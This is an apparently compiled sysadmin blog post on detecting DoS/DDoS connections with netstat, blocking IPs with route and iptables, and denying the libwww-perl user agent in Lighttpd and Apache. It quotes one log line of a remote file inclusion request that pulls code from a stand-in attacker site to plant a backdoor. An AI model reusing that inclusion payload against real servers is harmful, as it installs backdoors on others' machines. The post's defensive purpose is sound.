How to detect a DOS / DDOS Attack on your Linux Server?

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While researching through website traffic problems, the first thing that came in my mind is DoS / DDoS attacks. So, I started to study about it.

What is DoS / DDoS attack? 

(Wiki Answer) : In computing, a denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a machine or network resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of efforts to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet.

How to check if your Linux server is under DDOS Attack?

Login to your Linux Server and type the following command:

netstat -anp |grep ‘tcp\|udp’ | awk ‘{print $5}’ | cut -d: -f1 | sort | uniq -c | sort –n

This command will show you the list of IP’s which have logged in is maximum number of connections to your server. It becomes more complex if the attacker use fewer connections with more number of attacking IP’s.

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We can check active connections to the server using the following command:

netstat -n | grep :80 |wc –l

The above command will show the active connections that are open to your server. The result may vary but if it shows connections more than 500, then you will be definitely having problems.

netstat -n | grep :80 | grep SYN |wc –l

If the result of the above command is 100 or above then you are having problems with sync attack.

Once you get an idea of the ip attacking your server, you can easily block it. Fire the following command to block specific IP:

route add ipaddress reject

Fire the following command to check whether that IP is blocked or not:

route -n |grep IPaddress

You can also block a IP with iptables on the server by using the following command.

iptables -A INPUT 1 -s IPADRESS -j DROP/REJECT

service iptables restart

service iptables save

After firing the above command, KILL all httpd connection and than restart httpd service by using  following command:

killall -KILL httpd/apache2

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[Updated 12-12-2013]

In order to delete the route entry, fire the following command.

ip route delete ipaddress

[Source : https://kb.hivelocity.net/how-to-check-if-your-linux-server-is-under-ddos-attack/]

The rise of bots, spammers, crack attacks and libwww-perl

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libwww-perl (LWP) is fine WWW client/server library for Perl. Unfortunately this library used by many script kiddy, crackers, and spam bots.

Verify bots…

Following is a typical example, you will find in your apache or lighttpd access.log log file:

$ grep ‘libwww-perl’ access.log

OR

$ grep ‘libwww-perl’ /var/log/lighttpd/access.log

Output:

62.152.64.210 www.domain.com - [23/Oct/2006:22:24:37 +0000] "GET /wamp_dir/setup/yesno.phtml?no_url=http://www.someattackersite.com/list.txt? HTTP/1.1" 200 72672 "-" "libwww-perl/5.76"

So someone is trying to attack your host and exploit security by installing a backdoor. yesno.phtml is poorly written application and it can run or include php code (list.txt) from remote server. This code install perl based backdoor in /tmp or /dev/shm and send notification to IRC server or bot master i.e. server is ready for attack against other computer. This back door can flood or DDoS other victims server (it will also cost you tons of bandwidth). Usually attacker will hide himself behind zombie machines. Blocking by user agent can help and in some cases problem can be dropped all together.

You will also notice that libwww-perl/5.76 as browser name (read as useragent). To avoid such attack:
=> Block all libwww-perl useragent
=> Run web server in chrooted jail

How to block libwww-perl under Lighttpd web server?

Open lighttpd.conf file:
# vi /etc/lighttpd/lighttpd.conf
Append following line to main server or virtual hosting section:
$HTTP["useragent"] =~ "libwww-perl" {
url.access-deny = ( "" )
}

Save and close the file. Restart the lighttpd:
# /etc/init.d/lighttpd restart

How to block libwww-perl under Apache web server?

Use mod_rewrite and .htaccess file to block user agent libwww-perl. Open your .htaccess file and add rule as follows:
SetEnvIfNoCase User-Agent "^libwww-perl*" block_bad_bots
Deny from env=block_bad_bots

How do I verify that User-Agent libwww-perl is blocked?

Download this perl script on your own workstation. Replace http://your-website.com/ with your site name:
$req = HTTP::Request->new(GET => 'http://your-website.com/');
Save and execute perl script:
$ chmod +x test-lwp.pl
$ ./test-lwp.pl

Output:

Error: 403 Forbidden

You should see 403 Forbidden error as your user-agent is blocked by server configuration.

Please note that blocking by user agent can help, but spammers spoof user agents. My personal experience shows that blocking libwww-perl saves bandwidth and drops potential threats by 50-80%.

Another highly recommended solution is to run web server in chrooted jail. In chrooted jail attacker cannot install backdoor as shell and utilities such as wget not available to download the perl code. I also recommend blocking all outgoing http/ftp request from your webserver using iptables or use hardware based firewall such as Cisco ASA Firewalls.

Final extreme solution is to put entire root file system on read only media such as CDROM (or use live CD). No attacker can bring down your web server if it is serving pages from read only media (except DoS/DDoS attack).

What do you think? How do you block such attacks? Please share your nifty technique with us.

 

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